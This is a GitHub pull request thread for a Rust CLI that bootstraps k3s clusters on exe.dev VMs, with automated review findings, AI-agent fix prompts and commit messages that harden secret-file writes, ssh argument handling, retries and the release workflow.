| /// `<vm>.exe.xyz` hostname. | ||
| pub(super) fn parse_ssh_destinations(response: &str) -> BTreeMap<String, String> { |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The repository does not include a live API fixture proving the exact /exec wrapper shape; this conclusion relies on the existing parse_vm_names support for an output field and the candidate's stated response shape.
🤖 Prompt for AI agents
In k8s_cli/src/manager/parsing.rs, address this finding:
Authoritative SSH destinations are lost when `exe.dev ls` returns a JSON object with an `output` string containing the actual serialized/listed payload. `parse_vm_names` explicitly falls back to `value.output`, but `parse_ssh_destinations` only traverses the JSON object and never parses `output`; consequently the VM name may be discovered from text while its `ssh_dest` is omitted and `SshTargets::dest` uses `<vm>.exe.xyz` instead of the reported user@host destination. This would be disproven if the ls API never wraps its JSON/text output in an `output` field, despite the existing parser's explicit support for that shape for names.
`ConnectTimeout=15` bounded only the connect, so a remote step that stopped
responding (a package install, a curl, a service start) blocked bootstrap with
no upper limit and held the ssh process and its pipes open. Each attempt now
runs under a 15-minute bound covering both the script write and the wait, with
kill_on_drop so the elapsed attempt takes the process with it. A timeout is not
retried: unlike the transport failures the 255 retry exists for, a stuck step
would only be repeated.
write_secret_file created the kubeconfig and cluster token with fs::write and
tightened them afterwards, so the contents existed at the umask's permissions
in between and stayed there if the process died in that window. It also
followed a symlink, letting a --kubeconfig path redirect secret contents into
another file. It now unlinks any existing entry and creates with 0600 applied
at creation.
wait_for_kubernetes_nodes returned as soon as every node name existed, but k3s
registers a node before it can run anything, so labels, taints, and manifests
could be applied to a cluster with every node NotReady. It now waits for the
Ready condition the parser already reads, and names unregistered and unready
nodes separately.
parse_ssh_destinations now also reads the {"output":"<json>"} wrapper that
parse_vm_names falls back to, so a wrapped listing keeps its authoritative
ssh_dest rather than silently degrading to the hostname. A wrapped table stays
empty, as before.
ARCHIVE_PREFIX was the one tap-formula input still reaching the Ruby strings
unvalidated.
There was a problem hiding this comment.
Actionable comments posted: 4
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (4)
- 🟠 High Only the macOS arm64 archive is inspected for required members; the other three downloaded archives can be malformed while the script still writes a successful formula. (inline)
- 🟠 High The build can compile a different commit from the commit that triggered the release while publishing under the requested tag. (inline)
- 🟡 Medium Tap layout detection can select an unused formula path. When a sharded tap has not yet created
Formula/<first-letter>for this formula, the script falls back toFormula/<name>.rb; conversely, a flat/custom tap containing a directory with that first-letter name is treated as sharded. In either case the new formula can be written successfully where Homebrew will not discover it. (inline) - 🔵 Low The generated formula omits
LICENSEfromdoc.install, even though every release archive packages it and the repository's release-install documentation lists it as an archive document. Users installing through the formula therefore do not receive all published documentation/license files. (inline)
📋 Additional findings from this change (not shown inline) (4)
- 🟠 High A wrapped serialized
lsresponse is parsed inconsistently: inventory names are treated as table text instead of decoding the JSON string inoutput. For a response such as{"output":"[{\"vm_name\":\"vm-1\",\"ssh_dest\":\"vm+vm-1@exe.dev\"}]"},parse_ssh_destinationsfinds the target butparse_vm_namesfalls back toparse_vm_names_from_text, producing a bogus name like[{"vm_name":"vm-1",...}]rather thanvm-1; bootstrap then believes the real VM is missing and can issue duplicate creation (or status/destroy reports incorrect inventory). This is disproven if the exe.dev API never returns serialized JSON insideoutputforls, but the changed parser explicitly supports that shape for SSH destinations and its comment says the wrapper is shared. (k8s_cli/src/manager/parsing.rs) — anchor-outside-diff - 🟡 Medium Bootstrap accepts empty required credentials/endpoints because
require_envonly callsenv::varand does not reject an empty string. In new mode,TS_AUTHKEY=reachestailscale up --auth-key ''; in existing mode, emptyK3S_URL/K3S_TOKENpass the initial checks and are embedded in the worker install script. This allows the command to pass confirmation and create VMs before failing remotely (or potentially invoke k3s with an empty endpoint/token), leaving a partially bootstrapped fleet instead of rejecting invalid configuration up front. The claim is false only if the environment-loading layer guarantees these variables can never be present-but-empty, which ordinary process environments do not. (k8s_cli/src/manager/mod.rs) — anchor-outside-diff - 🟡 Medium set-version.sh can leave the workspace partially rewritten when any later operation fails. It commits each manifest with mv as it goes, so a missing/invalid later member or path dependency (and any cargo update failure) leaves earlier manifests at the new version while the remaining manifests/lockfile remain old; mv failures also leave the per-file .tmp behind. This violates the migration/error-handling requirement that failures not leave partial temporary files or inconsistent workspace state. For example, if k8s_cli/Cargo.toml is absent or
cargo update --workspacecannot reach the registry, core/Cargo.toml and cli/Cargo.toml have already been changed. This is introduced by the new sequential rewrite implementation; it would be disproven only if the script were always run in a disposable checkout and no caller relies on the checkout afterward, but the workflow invokes it in the build checkout and the script is independently callable. (scripts/release/set-version.sh) — anchor-unreliable - 🟡 Medium A mutable third-party action reference is executed with the release job's write-capable token, so a compromise or retagging of softprops/action-gh-release@v3 can modify repository releases (and potentially other contents allowed by that token). (.github/workflows/release.yml) — anchor-outside-diff
🤖 Prompt for AI agents — all findings (8)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Findings on this change (also posted as inline comments) (4)
In scripts/release/sync-homebrew-tap.sh around line 140, address this finding:
Only the macOS arm64 archive is inspected for required members; the other three downloaded archives can be malformed while the script still writes a successful formula.
In .github/workflows/release.yml around line 49, address this finding:
The build can compile a different commit from the commit that triggered the release while publishing under the requested tag.
In scripts/release/sync-homebrew-tap.sh around line 91, address this finding:
Tap layout detection can select an unused formula path. When a sharded tap has not yet created `Formula/<first-letter>` for this formula, the script falls back to `Formula/<name>.rb`; conversely, a flat/custom tap containing a directory with that first-letter name is treated as sharded. In either case the new formula can be written successfully where Homebrew will not discover it.
In scripts/release/sync-homebrew-tap.sh around line 22, address this finding:
The generated formula omits `LICENSE` from `doc.install`, even though every release archive packages it and the repository's release-install documentation lists it as an archive document. Users installing through the formula therefore do not receive all published documentation/license files.
## Additional findings on this change (not posted inline) (4)
In k8s_cli/src/manager/parsing.rs around line 26, address this finding:
A wrapped serialized `ls` response is parsed inconsistently: inventory names are treated as table text instead of decoding the JSON string in `output`. For a response such as `{"output":"[{\"vm_name\":\"vm-1\",\"ssh_dest\":\"vm+vm-1@exe.dev\"}]"}`, `parse_ssh_destinations` finds the target but `parse_vm_names` falls back to `parse_vm_names_from_text`, producing a bogus name like `[{"vm_name":"vm-1",...}]` rather than `vm-1`; bootstrap then believes the real VM is missing and can issue duplicate creation (or status/destroy reports incorrect inventory). This is disproven if the exe.dev API never returns serialized JSON inside `output` for `ls`, but the changed parser explicitly supports that shape for SSH destinations and its comment says the wrapper is shared.
In k8s_cli/src/manager/mod.rs around line 743, address this finding:
Bootstrap accepts empty required credentials/endpoints because `require_env` only calls `env::var` and does not reject an empty string. In new mode, `TS_AUTHKEY=` reaches `tailscale up --auth-key ''`; in existing mode, empty `K3S_URL`/`K3S_TOKEN` pass the initial checks and are embedded in the worker install script. This allows the command to pass confirmation and create VMs before failing remotely (or potentially invoke k3s with an empty endpoint/token), leaving a partially bootstrapped fleet instead of rejecting invalid configuration up front. The claim is false only if the environment-loading layer guarantees these variables can never be present-but-empty, which ordinary process environments do not.
In scripts/release/set-version.sh, address this finding:
set-version.sh can leave the workspace partially rewritten when any later operation fails. It commits each manifest with mv as it goes, so a missing/invalid later member or path dependency (and any cargo update failure) leaves earlier manifests at the new version while the remaining manifests/lockfile remain old; mv failures also leave the per-file .tmp behind. This violates the migration/error-handling requirement that failures not leave partial temporary files or inconsistent workspace state. For example, if k8s_cli/Cargo.toml is absent or `cargo update --workspace` cannot reach the registry, core/Cargo.toml and cli/Cargo.toml have already been changed. This is introduced by the new sequential rewrite implementation; it would be disproven only if the script were always run in a disposable checkout and no caller relies on the checkout afterward, but the workflow invokes it in the build checkout and the script is independently callable.
In .github/workflows/release.yml around line 166, address this finding:
A mutable third-party action reference is executed with the release job's write-capable token, so a compromise or retagging of softprops/action-gh-release@v3 can modify repository releases (and potentially other contents allowed by that token).
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 5 of 5 areas reviewed
| # The formula's `install` block names each file directly, so a renamed or dropped | ||
| # archive member fails at install time on the user's machine rather than here. | ||
| # Check the payload against the release we just downloaded instead. | ||
| tar -tzf "$WORK_DIR/${ARCHIVE_PREFIX}-${RELEASE_TAG}-macos-arm64.tar.gz" > "$WORK_DIR/members.txt" |
There was a problem hiding this comment.
🔍 Data Integrity | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
Only the macOS arm64 archive is inspected for required members; the other three downloaded archives can be malformed while the script still writes a successful formula.
| # `refs/tags/` rather than the bare input: a dispatch input is a free-form | ||
| # string, so a branch name or SHA would otherwise check out and build a ref | ||
| # that is not the tag the publish job creates the release for. | ||
| ref: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag_name) || github.ref }} |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact timing window depends on a tag being force-moved or otherwise updated while the workflow is running, but Git tags are mutable and the workflow performs no SHA consistency check.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
The build can compile a different commit from the commit that triggered the release while publishing under the requested tag.
| # `Formula`. Writing to the layout the repo does not use produces a file nothing | ||
| # installs from, and the release then reports a tap update that never reached anyone. | ||
| FORMULA_SHARD_DIR="$TAP_REPO_PATH/Formula/${FORMULA_NAME:0:1}" | ||
| if [[ -d "$FORMULA_SHARD_DIR" ]]; then |
There was a problem hiding this comment.
🔍 Migration | 🟡 Medium
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
Tap layout detection can select an unused formula path. When a sharded tap has not yet created `Formula/<first-letter>` for this formula, the script falls back to `Formula/<name>.rb`; conversely, a flat/custom tap containing a directory with that first-letter name is treated as sharded. In either case the new formula can be written successfully where Homebrew will not discover it.
| # guesses either one installs nothing. | ||
| ARCHIVE_PREFIX="${ARCHIVE_PREFIX:-exedev-clis}" | ||
| BINARIES=(exedev-ctl exedev-k8s) | ||
| DOCS=(README.md README.zh-CN.md fleet.example.yaml .env.example) |
There was a problem hiding this comment.
🎯 Correctness | 🔵 Low
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The generated formula omits `LICENSE` from `doc.install`, even though every release archive packages it and the repository's release-install documentation lists it as an archive document. Users installing through the formula therefore do not receive all published documentation/license files.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| DOCS=(README.md README.zh-CN.md fleet.example.yaml .env.example) | |
| DOCS=(README.md README.zh-CN.md LICENSE fleet.example.yaml .env.example) |
The build resolved `github.ref` at checkout time, so a tag moved between the trigger and the checkout would compile a commit the release was never requested for. The push path now checks out `github.sha`. The publish step, the only one holding contents: write, is pinned to a commit rather than the mutable v3 tag. set-version.sh rewrote manifests one at a time, so a missing later member or a failing lockfile refresh left the workspace split across two versions, with the per-file .tmp behind. Rewrites are now staged and moved only once all of them have succeeded, a failed `cargo update` restores the manifests, and a trap clears the staging files on any exit. The tap script inspected only the macOS arm64 archive, so a malformed Linux archive still produced a formula reported as good. It now checks every platform it downloaded. LICENSE is packaged in every archive and named in the install docs but was missing from `doc.install`, so formula users never received it; adding it to DOCS also brings it under that member check. Tap layout was chosen from the presence of the first-letter directory alone, which picks a path Homebrew will not read when a sharded tap has no letter directory yet, or when a flat tap happens to hold a directory with that name. An existing formula file now decides it, and a tap holding both asks for TAP_FORMULA_PATH instead of guessing. require_env accepted a present-but-empty value, so `TS_AUTHKEY=` passed the pre-flight check and reached the VM as `tailscale up --auth-key ''` after the plan was confirmed and VMs were created. parse_vm_names now decodes a serialized listing inside the `output` wrapper instead of reading it as table text, which produced JSON fragments as VM names and would have had bootstrap recreate VMs that already exist. The previous commit taught parse_ssh_destinations that shape; this makes the pair agree.
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/release.yml:
- Around line 46-52: Update the release workflow to resolve a workflow_dispatch
tag to one immutable commit SHA before the matrix runs, then pass that SHA to
every matrix checkout instead of resolving the mutable tag independently. Ensure
the publish job verifies the tag still points to the built SHA before invoking
the release action, while preserving the existing github.sha behavior for push
events.
In `@k8s_cli/src/manager/state.rs`:
- Around line 59-73: Update the file replacement flow around fs::remove_file and
OpenOptions to write contents to a unique 0600 temporary file in the same
directory, then atomically rename it over path only after write_all succeeds.
Preserve the existing file when temporary-file creation or writing fails, clean
up any failed temporary file, and add a failure-path test verifying the original
contents remain intact.
In `@scripts/release/set-version.sh`:
- Around line 112-117: Update the manifest replacement flow around the TARGETS
backup and mv loops to track successful backup creation and whether the lockfile
refresh completed. On EXIT before a successful refresh, restore every available
target backup before deleting temporary files or backups, while preserving
normal cleanup after a successful apply.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 82ca53b0-9a1a-4e13-b363-bc78bec3cda5
📒 Files selected for processing (8)
.github/workflows/release.ymlk8s_cli/src/manager/mod.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/process.rsk8s_cli/src/manager/state.rsk8s_cli/src/manager/tests.rsscripts/release/set-version.shscripts/release/sync-homebrew-tap.sh
🚧 Files skipped from review as they are similar to previous changes (3)
- k8s_cli/src/manager/process.rs
- k8s_cli/src/manager/parsing.rs
- scripts/release/sync-homebrew-tap.sh
📜 Review details
⏰ Context from checks skipped due to timeout. (3)
- GitHub Check: fmt, check, test
- GitHub Check: winnowl/review
- GitHub Check: fmt, check, test
🧰 Additional context used
🪛 zizmor (1.29.0)
.github/workflows/release.yml
[info] 173-173: action functionality is already included by the runner (superfluous-actions): use gh release in a script step
(superfluous-actions)
🔇 Additional comments (8)
k8s_cli/src/manager/mod.rs (2)
602-632: LGTM!
744-751: LGTM!k8s_cli/src/manager/tests.rs (2)
40-50: LGTM!Also applies to: 187-201
327-357: LGTM!scripts/release/set-version.sh (3)
43-66: LGTM!
68-110: LGTM!
119-128: LGTM!.github/workflows/release.yml (1)
53-56: LGTM!Also applies to: 85-101, 105-115, 169-173
There was a problem hiding this comment.
Actionable comments posted: 4
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (4)
- 🟡 Medium Version synchronization rewrites the release lockfile by updating all workspace dependency selections, so a tag's build is not reproducible from its checked-in Cargo.lock and may incorporate unreviewed dependency changes. (inline)
- 🟡 Medium An untrusted reported SSH destination can be interpreted as an ssh option because it is placed directly before the command without ending option parsing. (inline)
- 🟡 Medium Secret-file replacement is not failure-safe:
write_secret_fileunlinks the old secret before creating the replacement and writes directly into the new path. Ifwrite_allis interrupted or returns an I/O error after a partial write (or the process crashes during the write), the path is left containing a truncated/partial secret; on the next runread_or_create_k3s_tokenaccepts that content as the persisted token, and a kubeconfig can likewise be left incomplete. This violates the requirement to leave no unsafe intermediate or stale-secret state. The claim would be false only if the filesystem/environment guaranteeswrite_allis all-or-nothing and the process cannot terminate between unlink/create/write, which normal local filesystems do not guarantee. (inline) - 🟡 Medium A failed write can leave a truncated secret that is later accepted as authoritative state.
write_secret_fileunlinks the old file before writing and never removes a partially written new file whenwrite_allfails; on the next invocationread_or_create_k3s_tokenonly checkspath.exists()and returns the file contents without validating token completeness. For example, a disk-full/error-after-N-bytes while replacingk3s-tokenleaves a short token, which a subsequent bootstrap uses for the server/agents instead of regenerating or preserving the last good token. The same non-atomic behavior leaves a truncated kubeconfig that callers then use. This would be false only if the filesystem guaranteedwrite_allis all-or-nothing for these files or callers never retry/use the state after an I/O error. (inline)
⚠️ Unverified risks (1)
- Archive validation checks only tar listing names, so a required binary/document can be a symlink or hardlink rather than the expected regular file. (scripts/release/sync-homebrew-tap.sh)
📋 Additional findings from this change (not shown inline) (9)
- 🟠 High A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. (k8s_cli/src/manager/process.rs) — anchor-outside-diff - 🟠 High
read_or_create_k3s_tokenfollows a symlink when loading an existing generated token (path.exists()followed byfs::read_to_string(&path)). An attacker or another local process that can alter.exedev-k8s/<cluster>/k3s-tokencan replace it with a symlink to an arbitrary readable file, causing bootstrap to use that file's contents as the k3s token (and potentially disclose/use unrelated secret material). The write path removes a symlink, but the read path has nosymlink_metadata/no-follow validation, so the stated replacement-and-secret-file invariant is incomplete. This would be false only if the state directory and all entries were guaranteed immutable/trusted for the entire process lifetime. (k8s_cli/src/manager/state.rs) — anchor-unreliable - 🟡 Medium The release is not bound to the tag's commit for the entire run: after checkout pins a push run to
github.sha(and a dispatch run initially resolves the tag), publish later passes only the tag name to the release action. If the tag is moved between checkout and publish, the archives are built from the originally triggered commit but are attached to the tag/release at its new commit, so the release's source tag and binaries disagree. (.github/workflows/release.yml) — anchor-outside-diff - 🟡 Medium Text fallback drops legitimate VM names beginning with
name, causing inventory inconsistency and duplicate-create attempts. (k8s_cli/src/manager/parsing.rs) — anchor-outside-diff - 🟡 Medium A valid JSON response with no recognized VM container is incorrectly parsed as a VM name from its serialized representation. (k8s_cli/src/manager/parsing.rs) — anchor-outside-diff
- 🟡 Medium A successful kubectl node probe with malformed JSON aborts bootstrap immediately instead of consuming the configured readiness retries and preserving the last probe error. (k8s_cli/src/manager/mod.rs) — anchor-unreliable
- 🟡 Medium The readiness probe's
--request-timeout=8sonly bounds the Kubernetes HTTP request, not the local kubectl subprocess.capture_command_outputawaitsTokioCommand::output()without a wall-clock timeout or kill-on-drop, so an auth plugin, kubeconfig exec plugin, DNS/TLS path, or wedged kubectl can hang one polling attempt forever and prevent both the retry window and final diagnostics. This would be false only if kubectl is guaranteed to exit for every supported kubeconfig/plugin/network failure. (k8s_cli/src/manager/process.rs) — anchor-outside-diff - 🟡 Medium
remote_runtreats every remote status 126 as Tailnet Lock authorization, even when the 126 came from an unrelated bootstrap command. The wrapper only returns an integer marker, and the caller branches solely onoutput.status == TAILNET_LOCK_AUTH_REQUIRED_STATUS; k3s/tailscale shell commands or privilege/tool execution can independently return 126. In that case bootstrap pauses for a misleading Tailnet confirmation and, after confirmation, reruns the entire state-changing step rather than reporting the real command failure, potentially duplicating installation/service actions. This would be false only if every possible command in every generated step were guaranteed never to return 126 exceptCHECK_TAILNET_LOCK_SCRIPT. (k8s_cli/src/manager/process.rs) — per-file-budget - 🟡 Medium Several newly represented destructive/access/credential operations bypass the local confirmation guard:
share remove,share remove-link,share set-private,domain add,ssh-key add, andssh-key generate-api-keydo not match any dangerous prefix (only domain rm, share set-public/add-link/access allow, and ssh-key remove are covered). For example,exedev-ctl ssh-key generate-api-key --exp 30dcreates a credential without a prompt, andexedev-ctl domain add vm example.comchanges domain ownership/certificate state without a prompt. This violates the stated coverage for credential-bearing, access-granting, and domain operations; it would be false only if the server treated all of these as read-only/non-authorizing operations. (core/src/shell.rs) — anchor-outside-diff
♻️ Previously reported (still present) (1)
- 🟠 High A push-triggered release can publish archives built from one commit under a tag that resolves to a different commit. (.github/workflows/release.yml) — previously-reported
🤖 Prompt for AI agents — all findings (14)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Findings on this change (also posted as inline comments) (4)
In scripts/release/set-version.sh around line 122, address this finding:
Version synchronization rewrites the release lockfile by updating all workspace dependency selections, so a tag's build is not reproducible from its checked-in Cargo.lock and may incorporate unreviewed dependency changes.
In k8s_cli/src/manager/process.rs around line 361, address this finding:
An untrusted reported SSH destination can be interpreted as an ssh option because it is placed directly before the command without ending option parsing.
In k8s_cli/src/manager/state.rs around line 72, address this finding:
Secret-file replacement is not failure-safe: `write_secret_file` unlinks the old secret before creating the replacement and writes directly into the new path. If `write_all` is interrupted or returns an I/O error after a partial write (or the process crashes during the write), the path is left containing a truncated/partial secret; on the next run `read_or_create_k3s_token` accepts that content as the persisted token, and a kubeconfig can likewise be left incomplete. This violates the requirement to leave no unsafe intermediate or stale-secret state. The claim would be false only if the filesystem/environment guarantees `write_all` is all-or-nothing and the process cannot terminate between unlink/create/write, which normal local filesystems do not guarantee.
In k8s_cli/src/manager/state.rs around line 66, address this finding:
A failed write can leave a truncated secret that is later accepted as authoritative state. `write_secret_file` unlinks the old file before writing and never removes a partially written new file when `write_all` fails; on the next invocation `read_or_create_k3s_token` only checks `path.exists()` and returns the file contents without validating token completeness. For example, a disk-full/error-after-N-bytes while replacing `k3s-token` leaves a short token, which a subsequent bootstrap uses for the server/agents instead of regenerating or preserving the last good token. The same non-atomic behavior leaves a truncated kubeconfig that callers then use. This would be false only if the filesystem guaranteed `write_all` is all-or-nothing for these files or callers never retry/use the state after an I/O error.
## Additional findings on this change (not posted inline) (9)
In k8s_cli/src/manager/process.rs around line 277, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
In k8s_cli/src/manager/state.rs, address this finding:
`read_or_create_k3s_token` follows a symlink when loading an existing generated token (`path.exists()` followed by `fs::read_to_string(&path)`). An attacker or another local process that can alter `.exedev-k8s/<cluster>/k3s-token` can replace it with a symlink to an arbitrary readable file, causing bootstrap to use that file's contents as the k3s token (and potentially disclose/use unrelated secret material). The write path removes a symlink, but the read path has no `symlink_metadata`/no-follow validation, so the stated replacement-and-secret-file invariant is incomplete. This would be false only if the state directory and all entries were guaranteed immutable/trusted for the entire process lifetime.
In .github/workflows/release.yml around line 175, address this finding:
The release is not bound to the tag's commit for the entire run: after checkout pins a push run to `github.sha` (and a dispatch run initially resolves the tag), publish later passes only the tag name to the release action. If the tag is moved between checkout and publish, the archives are built from the originally triggered commit but are attached to the tag/release at its new commit, so the release's source tag and binaries disagree.
In k8s_cli/src/manager/parsing.rs around line 147, address this finding:
Text fallback drops legitimate VM names beginning with `name`, causing inventory inconsistency and duplicate-create attempts.
In k8s_cli/src/manager/parsing.rs around line 41, address this finding:
A valid JSON response with no recognized VM container is incorrectly parsed as a VM name from its serialized representation.
In k8s_cli/src/manager/mod.rs, address this finding:
A successful kubectl node probe with malformed JSON aborts bootstrap immediately instead of consuming the configured readiness retries and preserving the last probe error.
In k8s_cli/src/manager/process.rs around line 194, address this finding:
The readiness probe's `--request-timeout=8s` only bounds the Kubernetes HTTP request, not the local kubectl subprocess. `capture_command_output` awaits `TokioCommand::output()` without a wall-clock timeout or kill-on-drop, so an auth plugin, kubeconfig exec plugin, DNS/TLS path, or wedged kubectl can hang one polling attempt forever and prevent both the retry window and final diagnostics. This would be false only if kubectl is guaranteed to exit for every supported kubeconfig/plugin/network failure.
In k8s_cli/src/manager/process.rs around line 74, address this finding:
`remote_run` treats every remote status 126 as Tailnet Lock authorization, even when the 126 came from an unrelated bootstrap command. The wrapper only returns an integer marker, and the caller branches solely on `output.status == TAILNET_LOCK_AUTH_REQUIRED_STATUS`; k3s/tailscale shell commands or privilege/tool execution can independently return 126. In that case bootstrap pauses for a misleading Tailnet confirmation and, after confirmation, reruns the entire state-changing step rather than reporting the real command failure, potentially duplicating installation/service actions. This would be false only if every possible command in every generated step were guaranteed never to return 126 except `CHECK_TAILNET_LOCK_SCRIPT`.
In core/src/shell.rs around line 43, address this finding:
Several newly represented destructive/access/credential operations bypass the local confirmation guard: `share remove`, `share remove-link`, `share set-private`, `domain add`, `ssh-key add`, and `ssh-key generate-api-key` do not match any dangerous prefix (only domain rm, share set-public/add-link/access allow, and ssh-key remove are covered). For example, `exedev-ctl ssh-key generate-api-key --exp 30d` creates a credential without a prompt, and `exedev-ctl domain add vm example.com` changes domain ownership/certificate state without a prompt. This violates the stated coverage for credential-bearing, access-granting, and domain operations; it would be false only if the server treated all of these as read-only/non-authorizing operations.
## Previously reported and still present (1)
In .github/workflows/release.yml around line 52, address this finding:
A push-triggered release can publish archives built from one commit under a tag that resolves to a different commit.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 7 of 7 areas reviewed
| # The release build runs with --locked, which fails outright when Cargo.lock still | ||
| # carries the old member versions. Refresh it here rather than leaving the build to | ||
| # discover the mismatch. | ||
| if ! (cd "$REPO_ROOT" && cargo update --workspace --quiet); then |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
Version synchronization rewrites the release lockfile by updating all workspace dependency selections, so a tag's build is not reproducible from its checked-in Cargo.lock and may incorporate unreviewed dependency changes.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| if ! (cd "$REPO_ROOT" && cargo update --workspace --quiet); then | |
| if ! (cd "$REPO_ROOT" && cargo update -p exedev-cli-core -p exedev-ctl -p exedev-k8s --quiet); then |
| "-o".into(), | ||
| "ConnectTimeout=15".into(), | ||
| format!("{vm}.exe.xyz"), | ||
| dest.to_string(), |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The finding assumes the authenticated exe.dev service/API response is not contractually guaranteed to restrict ssh_dest to non-option destination syntax; the local code performs no such validation.
🤖 Prompt for AI agents
In k8s_cli/src/manager/process.rs, address this finding:
An untrusted reported SSH destination can be interpreted as an ssh option because it is placed directly before the command without ending option parsing.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| dest.to_string(), | |
| "--".into(), | |
| dest.to_string(), |
| .mode(0o600) | ||
| .open(path) | ||
| .with_context(|| format!("failed to create {}", path.display()))?; | ||
| file.write_all(contents.as_bytes()) |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact filesystem error/crash frequency is environment-dependent, but POSIX write and process-crash semantics do not provide all-or-nothing replacement.
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
Secret-file replacement is not failure-safe: `write_secret_file` unlinks the old secret before creating the replacement and writes directly into the new path. If `write_all` is interrupted or returns an I/O error after a partial write (or the process crashes during the write), the path is left containing a truncated/partial secret; on the next run `read_or_create_k3s_token` accepts that content as the persisted token, and a kubeconfig can likewise be left incomplete. This violates the requirement to leave no unsafe intermediate or stale-secret state. The claim would be false only if the filesystem/environment guarantees `write_all` is all-or-nothing and the process cannot terminate between unlink/create/write, which normal local filesystems do not guarantee.
| return Err(err).with_context(|| format!("failed to replace {}", path.display())); | ||
| } | ||
| } | ||
| let mut file = fs::OpenOptions::new() |
There was a problem hiding this comment.
🔍 Reliability | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
A failed write can leave a truncated secret that is later accepted as authoritative state. `write_secret_file` unlinks the old file before writing and never removes a partially written new file when `write_all` fails; on the next invocation `read_or_create_k3s_token` only checks `path.exists()` and returns the file contents without validating token completeness. For example, a disk-full/error-after-N-bytes while replacing `k3s-token` leaves a short token, which a subsequent bootstrap uses for the server/agents instead of regenerating or preserving the last good token. The same non-atomic behavior leaves a truncated kubeconfig that callers then use. This would be false only if the filesystem guaranteed `write_all` is all-or-nothing for these files or callers never retry/use the state after an I/O error.
write_secret_file wrote into the destination after unlinking it, so a write
that failed partway left a truncated token or kubeconfig that the next run read
back as authoritative. Contents now go to a 0600 staging file in the same
directory and are renamed over the target only once the write and flush
succeed, so a failure leaves the previous secret untouched. The token read path
rejected nothing, so an entry swapped for a symlink had another file's contents
adopted as the cluster token; it now requires a regular file.
ssh parses options up to the first non-option word, so a reported ssh_dest
beginning with `-` would have been taken as a local ssh option rather than a
host. The destination is now passed after `--`.
The 255 retry resent the script even when stdout already carried the wrapper's
exit marker, which only appears once the remote script has finished; that
turned a connection lost while returning output into a second install. It now
retries only when the remote side did not report completion. Remote status 126
was likewise read as Tailnet Lock regardless of origin, so an unrelated 126
prompted for a signature and then reran a state-changing step; it now also
requires the message the lock check emits.
kubectl's --request-timeout bounds its API call, not the process, so a wedged
credential or exec plugin could consume the whole readiness window in one
attempt. Captured commands now run under a wall-clock bound. A probe returning
unparseable JSON also aborted bootstrap outright instead of spending a retry.
parse_vm_names handed a JSON response it had already searched to the text
parser, turning `{"vms":[]}` into a VM named after the JSON, and dropped any
real VM whose name begins with "name" along with the header row.
The guard now also covers the credential and access operations it had skipped:
ssh-key add and generate-api-key mint credentials that reach VMs, share
remove/remove-link/set-private revoke access, and domain add changes domain and
